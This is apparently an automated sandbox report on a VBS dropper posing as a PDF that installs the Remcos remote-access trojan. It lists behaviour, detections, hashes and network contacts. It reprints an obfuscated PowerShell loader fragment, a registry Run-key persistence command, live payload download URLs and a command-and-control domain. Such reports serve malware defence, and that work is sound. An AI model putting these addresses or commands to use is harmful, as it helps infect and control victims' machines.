$Goldbrick5;$Goldbrick1 = kontaktann11 'B8AFBEBFB8A4EAEE99BAA3A6AEA3A4AEB9E483A4BCA5A1AFE2EEA4BFA6A6E6EA8AE29199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFAC97E284AFBDE785A8A0AFA9BEEA99B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFACE2E284AFBDE785A8A0AFA9BEEA83A4BE9ABEB8E3E6EAE2EE86B9AFA2ABB9BEA3ADA2E48DAFBE87AFBEA2A5AEE2EE83B9A4ABAEA3FFE3E3E483A4BCA5A1AFE2EEA4BFA6A6E6EA8AE2EE9FA4B9BFE3E3E3E3E6EAEE82AFA4BCAFA4AEE3E3';.($Unde7) $Goldbrick1;}function GDT {P	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process created: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe "C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match	File source: 0000001E.00000002.3358994874.0000000007EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ieinstal.exe PID: 10336, type: MEMORYSTR

Remote Access Functionality

Yara detected Remcos RAT

Source: Yara match	File source: 0000001E.00000002.3358994874.0000000007EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ieinstal.exe PID: 10336, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	212 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	221 Scripting	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Native API	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 PowerShell	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	221 Scripting	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	113 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	21 Obfuscated Files or Information	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Software Packing	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	4%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
quickcheckx.github.io	11%	Virustotal		Browse
cryptotabhost.online	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://quickcheckx.github.io/quickme/XbuLYedqxf70.bina	100%	Avira URL Cloud	malware
https://quickcheckx.github.io/v	100%	Avira URL Cloud	malware
http://quickcheckx.github.io/quickme/XbuLYedqxf70.bin	100%	Avira URL Cloud	malware
https://quickcheckx.github.io/quickme/XbuLYedqxf70.binQ	100%	Avira URL Cloud	malware
https://quickcheckx.github.io/quickme/CTBrowserSetup_xoPL7G6.exe	100%	Avira URL Cloud	malware
cryptotabhost.online	0%	Avira URL Cloud	safe
https://quickcheckx.github.io/quickme/Panzersti.lpk	100%	Avira URL Cloud	malware
https://quickcheckx.github.io/	100%	Avira URL Cloud	malware
https://quickcheckx.github.io/n	100%	Avira URL Cloud	malware
https://quickcheckx.github.io/quickme/XbuLYedqxf70.bin	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
quickcheckx.github.io	185.199.110.153	true	false	11%, Virustotal, Browse	unknown
cryptotabhost.online	54.36.230.170	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://quickcheckx.github.io/quickme/CTBrowserSetup_xoPL7G6.exe	true	Avira URL Cloud: malware	unknown
http://quickcheckx.github.io/quickme/XbuLYedqxf70.bin	true	Avira URL Cloud: malware	unknown
https://quickcheckx.github.io/quickme/Panzersti.lpk	true	Avira URL Cloud: malware	unknown
cryptotabhost.online	true	Avira URL Cloud: safe	unknown
https://quickcheckx.github.io/quickme/XbuLYedqxf70.bin	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://quickcheckx.github.io/quickme/XbuLYedqxf70.bina	ieinstal.exe, 0000001E.00000002.3358994874.0000000007E6B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://quickcheckx.github.io/v	ieinstal.exe, 0000001E.00000002.3358994874.0000000007E42000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://quickcheckx.github.io/quickme/XbuLYedqxf70.binQ	ieinstal.exe, 0000001E.00000002.3358994874.0000000007E6B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://quickcheckx.github.io/	ieinstal.exe, 0000001E.00000002.3358994874.0000000007E42000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://quickcheckx.github.io/n	ieinstal.exe, 0000001E.00000002.3358994874.0000000007E6B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
54.36.230.170	cryptotabhost.online	France		16276	OVHFR	true
185.199.110.153	quickcheckx.github.io	Netherlands		54113	FASTLYUS	false

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	883437
Start date and time:	2023-06-07 17:01:54 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	russelllogistics_PDF98933 laced 2023-06-06 .vbs
Detection:	MAL
Classification:	mal100.troj.evad.winVBS@16/6@2/2
EGA Information:	Successful, ratio: 66.7%
HDC Information:	Successful, ratio: 100% (good quality ratio 94.3%) Quality average: 75.6% Quality standard deviation: 30.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .vbs Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, consent.exe, HxTsr.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, evoke-windowsservices-tas.msedge.net, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com, storeedgefd.dsx.mp.microsoft.com
Execution Graph export aborted for target ieinstal.exe, PID 10336 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:08:50	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run klodern %Bare% -w 1 $Twinklep=(Get-ItemProperty -Path 'HKCU:\trave\').Duppe;%Bare% $Twinklep
17:08:58	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run klodern %Bare% -w 1 $Twinklep=(Get-ItemProperty -Path 'HKCU:\trave\').Duppe;%Bare% $Twinklep

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54.36.230.170	reisshardware_PDF55432 anemic 2023-05-31 (1).vbs	Get hash	malicious	Remcos	Browse
185.199.110.153	http://shubhi9.github.io/netflix_clone	Get hash	malicious	Unknown	Browse	shubhi9.github.io/netflix_clone
	php.ini	Get hash	malicious	Unknown	Browse	tjo.is/
	INTHIST_230714122537.vbs	Get hash	malicious	FormBook	Browse	www.carlosedlucas.dev/sgr3/
	Q233473 Michelin.vbs	Get hash	malicious	FormBook	Browse	www.skydroptechpro.online/sjwh/?kc8rpyJN=mRvR+ElTUVLwce8q0NRoQE6rGH60bn/5kOfLZDsK4c4Uh6vfpxpOWQyPyD8paOlm0PSSPnvb3Rnr0VmDBTlVxjXesYh+zX1A5g==&DAR=LVlmoUpIrdToMFS
	hsbc_payment_slip_04953.exe	Get hash	malicious	FormBook	Browse	www.mhmdfaishal.tech/hzb3/?DXqLW=4hWxBh78wnW&z6Ax=8KsaWyBrILYtG1ZGUY7mIHHSFp73GOij5iCRDXGLKaqRmp3pVNLSE1DPd7N4zrIgJV5qOtUkhyHdKL8ikKVuyV2WTsmMyoFO5w==
	board meetings 2022.html	Get hash	malicious	HTMLPhisher	Browse	makemeproud.github.io/jquery/jquery_unbase.js
	D4L4075.exe	Get hash	malicious	FormBook	Browse	www.jonathonhawkins.com/u5eh/?-ZwxCph=pJgkcgvZz/485q/oD+dVpKwFX6skk/ds6WMbq5QezsE25NFrPYphHF9EHX28Yt1VAi4pzVxjCA==&od6X=8pNLiPPXtpt
	https://onedrive.live.com/redir?resid=BC7E39DB9FD83D96!2306&authkey=!ACcfJSfZpEuMlqU	Get hash	malicious	Unknown	Browse	www.jacklmoore.com/colorbox/jquery.colorbox.js
	Bewerbung_Saskia_Heyne.doc	Get hash	malicious		Browse	www.hotelalbanareal.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cryptotabhost.online	reisshardware_PDF55432 anemic 2023-05-31 (1).vbs	Get hash	malicious	Remcos	Browse	54.36.230.170
cryptotabhost.online	Invoice DavidSwaimAssociates-INV339848attractable - Generated 2023-04-13 .vbs	Get hash	malicious	Remcos	Browse	192.236.154.55
quickcheckx.github.io	reisshardware_PDF55432 anemic 2023-05-31 (1).vbs	Get hash	malicious	Remcos	Browse	185.199.109.153
	002671299.vbs	Get hash	malicious	Remcos	Browse	185.199.110.153
	Invoice DavidSwaimAssociates-INV339848attractable - Generated 2023-04-13 .vbs	Get hash	malicious	Remcos	Browse	185.199.108.153

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	TYKkHpck4A.exe	Get hash	malicious	RedLine	Browse	147.135.231.58
	https://www.432.archi/	Get hash	malicious	Unknown	Browse	51.91.236.193
	z108272615262526254.exe	Get hash	malicious	FormBook	Browse	51.89.70.16
	gxhABCr13i.exe	Get hash	malicious	RedLine	Browse	147.135.231.58
	https://futwithapero.com/tots-laliga-sur-fifa-23	Get hash	malicious	Unknown	Browse	217.182.178.230
	vKqWknM89V.exe	Get hash	malicious	RedLine	Browse	147.135.231.58
	fnEcpnY2zv.exe	Get hash	malicious	RedLine	Browse	147.135.231.58
	https://rollins-mkt-prod1.campaign.adobe.com/rln/getImage.jssp?m=ebe0a673-b585-4d5f-8b02-173d6da0ca15&e=boss&l=brandlogo&i=http%3A%2F%2Fpsicologosalzira.com/work/lobatan/bruno.marques@novobanco.pt	Get hash	malicious	Unknown	Browse	178.32.246.245
	pz2VGXuCv9.exe	Get hash	malicious	RedLine	Browse	147.135.231.58
	ibSoySiGqS.elf	Get hash	malicious	Mirai, Moobot	Browse	51.178.244.172
	rjT1UA6rNW.exe	Get hash	malicious	RedLine	Browse	147.135.231.58
	3HgRv0G69x.dll	Get hash	malicious	Emotet	Browse	54.37.228.122
	Athermous.exe	Get hash	malicious	FormBook, GuLoader	Browse	145.239.37.162
	https://thebestprizes.life/?u=z9tptem&o=tgdkh0l&t=binom&cid=ad545qdrnrnl83d	Get hash	malicious	Unknown	Browse	54.36.116.88
	RUTWEySLxV.elf	Get hash	malicious	Mirai	Browse	51.161.172.98
	Overdue.htm	Get hash	malicious	Unknown	Browse	213.186.33.40
	gOArM7OCkY.elf	Get hash	malicious	Mirai	Browse	5.196.148.134

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Trojan.Mardom.IN.24.23026.16313.exe	Get hash	malicious	Gurcu Stealer	Browse	185.199.110.153
	file.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	185.199.110.153
	Shipping_Documents.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.153
	Purchase_Order_11013.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.153
	New_Inquiry_Sample_Spec..exe	Get hash	malicious	AgentTesla	Browse	185.199.110.153
	TYKkHpck4A.exe	Get hash	malicious	RedLine	Browse	185.199.110.153
	TvKjp5KVgl.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	185.199.110.153
	Amended_Order_No._60-230235.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	185.199.110.153
	6HoCjP10p2.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.153
	6TOUr3P8Zh.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.153
	VmuqZaRLWNtHaSD.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	185.199.110.153
	1VjuAjBuPO.exe	Get hash	malicious	GuLoader	Browse	185.199.110.153
	DDP8v0cpZV.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.153
	zdQ982KZlD.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.153
	cPd5qc5RXE.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	185.199.110.153
	z39WpqKY8N.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.153
	oVO508b6WG.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.153
	aVecwdN4bi.exe	Get hash	malicious	Unknown	Browse	185.199.110.153
	awtzwiHTQ1.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.153
	LPO-230307.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.153

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	reisshardware_PDF55432 anemic 2023-05-31 (1).vbs	Get hash	malicious	Remcos	Browse
C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Invoice DavidSwaimAssociates-INV339848attractable - Generated 2023-04-13 .vbs	Get hash	malicious	Remcos	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Intel\ShaderCache\8a9d1888db39038b57f8d2d3841731d1a49a73dc28491601746084d66078e4ce

Download File

Process:	C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe
File Type:	data
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.873140679513132
Encrypted:	false
SSDEEP:	3:tAvnXVG8d:tgXVVd
MD5:	2DE2373EF07261CAC4D4BF7D3FE31122
SHA1:	8A5BD414AFD96AFAED4EB413D033240BC6A71C94
SHA-256:	F6F219ED2C4029EBC3071C036B64113AA62A7A342D2FD5965FD122D5C90BC9BC
SHA-512:	AF4CACDD0A501DCB37318FA9E5B7049AFEB8E0EE6EB0770F0B013C70E32123FA45C1508DD12921C909C0C9F88AC8A2F3041A16747E5FF145B4FB15E8509DB105
Malicious:	false
Preview:	INSC.>.....Mar222021150038

C:\Users\user\AppData\LocalLow\Intel\ShaderCache\da194f1ae3fae6c3dec55caeb90c7b89603ca77ab2757c94f6f1aaaf79793726

Download File

Process:	C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe
File Type:	data
Category:	dropped
Size (bytes):	8505
Entropy (8bit):	7.906717881327542
Encrypted:	false
SSDEEP:	192:gkjl9kyK2z2/1IdrhdSclHj4RjFdcp19/KV1kQZ02Ol:gkjlW2z2/1IdHSVj7gCVyQZ02Ol
MD5:	ADFEDA2865C21285D368A44B18E14C5C
SHA1:	E2FE60BE48D0FF97FBB9499DEE46B368A45DD1E5
SHA-256:	2E29B99E20108E1532584607FFB584BCA6E49EFBF7B4B1CFDE32A59ABC6E155D
SHA-512:	4EC5570601E7C1005F29600B1F30395514D7E697A2272CEC24C7787B38693D8E43787C4D3E8814B2CF69A58314DB71044DA564A2AF0A7DEF113908AAECADCA39
Malicious:	false
Preview:	INSC.>.....Mar222021150038.....&G~.R.].<.Y\|X....u.6..9Y..O..K..................z.=b..0fx.c`@..H.6& ...A.Q0...9.6t.g.'X.#/.i.$...3H....Ai.&...A.D..ZA .......\|.:..!.A.....^.....G/d0`..`3dH`z.u@.......'.........@./.......@..P..>......?..^......^...+..........4....8....\|...~.]+....!....^.30.3p4A.#.....'.?...M..p....A.y..^B......!....Q......................\|.O..x..SMJ.@.~IL.m.XA\.B...U6v.P$.\..H..t#.7...!Gp...t.#....M.`.J....\|.y.....n.t+k].....c...\|f 0....A.....1...}f``.3...7n.qt.n....v...@...a......@?.J..H7\.^D....]..R..............W.....{.l..T...$Y_ 'i.wKiD.$'t.S..r.`N3.+.E..KY=.Y/C..C7..1_.!.=.......VMo..9.=..\|...`.H.e.../0..{.....9...D.........W.....2...Y..(ys(...&.;Z%.......+..He.<....]Il..p..@....P....Q......@.\....c\|...u.n.....D..........P...5x.c`@..w<..\F(..G.h.....p....`....v.q.4,=.....@JAb0... .....1H?3........p`H`..z....W...BV0.........~.....&..!.......>....FL.....el....... .....X.8..2...pp8..}a..t.........[....{.......+(..;@.@..L...@.s3*..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	13156
Entropy (8bit):	5.531202395625059
Encrypted:	false
SSDEEP:	384:lnjrCtBEHBAIxuBOUyVnN/XqwXIX6CIr2AySqU/S/xxD33Agi:hrQEHB5oxq/6A46CIiTaKPHXi
MD5:	99A5FD100352CB5F339756628FE3BAD0
SHA1:	6B580DE8517A83338EE029692E7D1B1E08EE47D4
SHA-256:	1AF26602EABB960514A326FFF0BDFF2DA10F2A4707C531AFCFFA13CE2B6298C1
SHA-512:	AA7E2A15F957936DB6CBBA4C50D2CFB9F787918CE5D432DAC82C0F9229F169C56ED33DD5E60426526F0476CD46AC1CE9A4CB761F07EDC53BB915A4DC74D4221D
Malicious:	false
Preview:	@...e...................,...;.,.R....................@..........H...............o..b~.D.poM...!..... .Microsoft.PowerShell.ConsoleHostD................g$H..K..I.............System.Management.Automation0...............I.....B..ZR............System..4......................A....E..........System.Core.4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............F;7..C..f.G..........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.............................................V.@..?@...@.X.@.J.@.Z.@.^..._T..YT...T...S......yT@..S@..T@..S@._.@..T@..T@.TX@.SX@.-T@..S@..T@./T@.

C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe

Download File

Process:	C:\Program Files (x86)\Internet Explorer\ieinstal.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	2886568
Entropy (8bit):	7.9298495753298495
Encrypted:	false
SSDEEP:	49152:/i414YwjpTpfz4ualzOYAnqGJc1astrZ/9kRCvNZqaWsfXtASoVTaWs7NxrgSttc:/gzrE9lSXqIyaRCWaNfXWSIQkSttsz
MD5:	B2580CACC3C40ABCFA5E91FFA5409761
SHA1:	EB575B8E8094D7FD5252D41C5BDDB32274DF27DF
SHA-256:	77AFBAB9C7F4FBE502F472E965FF4D3EFD21DD0A7C9F7D75556BB36BC77A91C9
SHA-512:	AA80F58BE1C3BDAFEA4482392C7F1381123C8FEA05CD4447829707FB77E26E67DD52EF1D14A10371013A13915173B2261DA541EE94D2B444FC76226D93C35DE7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: reisshardware_PDF55432 anemic 2023-05-31 (1).vbs, Detection: malicious, Browse Filename: Invoice DavidSwaimAssociates-INV339848attractable - Generated 2023-04-13 .vbs, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......F.UM.\|;..\|;..\|;...8.C\|;.d....\|;.P.?..\|;.P.8..\|;.P.>.j\|;...?.B\|;...=..\|;...2..};...8..\|;...>..\|;...:.5\|;..\|:..~;...>..\|;......\|;..\|...\|;...9..\|;.Rich.\|;.........PE..L....>.c.................0+.......l......l.......@..........................p......x.,...@..................................g..<.....................+..K...l.. .................................................................................UPX0......l.............................UPX1.....0+...l...+.................@....rsrc................2+.............@..............................................................................................................................................................................................................................................................................................................................................3.96.UPX!....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uclia5kx.jfy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbwljbj0.2hm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	ASCII text, with very long lines (886)
Entropy (8bit):	4.652626739104089
TrID:
File name:	russelllogistics_PDF98933 laced 2023-06-06 .vbs
File size:	1242886
MD5:	6c90a7381ca09a4bc743c52b3c7002c1
SHA1:	ce1e1187d79569f4c9cd727c45a3a5078d472ec1
SHA256:	2f731b49ec238ced82fa47facef64396768b53dca41f0b8e245bb0f0f7e2b700
SHA512:	b0f32ee45cf0dadaf7aac7be1da400b708fa61795af9e257392163e60deba5d82f7cfeb573b4c298c1e2e38e238923af5ff4738f9f08b7e53db0b41262b31ef3
SSDEEP:	12288:JEXU+8RUj1+tM9CFHXBkGPT0i1mV4hzA1NL73wd/9lsRucA2uoWv:uWv
TLSH:	D645B637754F47083F8A43B9A37451A3F718C6A1AB623336E959937938014B4B8F27E9
File Content Preview:	' Commodo brisket frankfurter dolor sunt. Ham laborum elit, chislic nulla kielbasa cillum fatback ad laboris burgdoggen sint ground round tail labore. Kielbasa venison jowl shankle pastrami, rump anim pig reprehenderit lorem ground round non nulla. Rep

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 7, 2023 17:08:07.995173931 CEST	49811	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:07.995207071 CEST	443	49811	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:07.995414019 CEST	49811	443	192.168.11.20	185.199.110.153
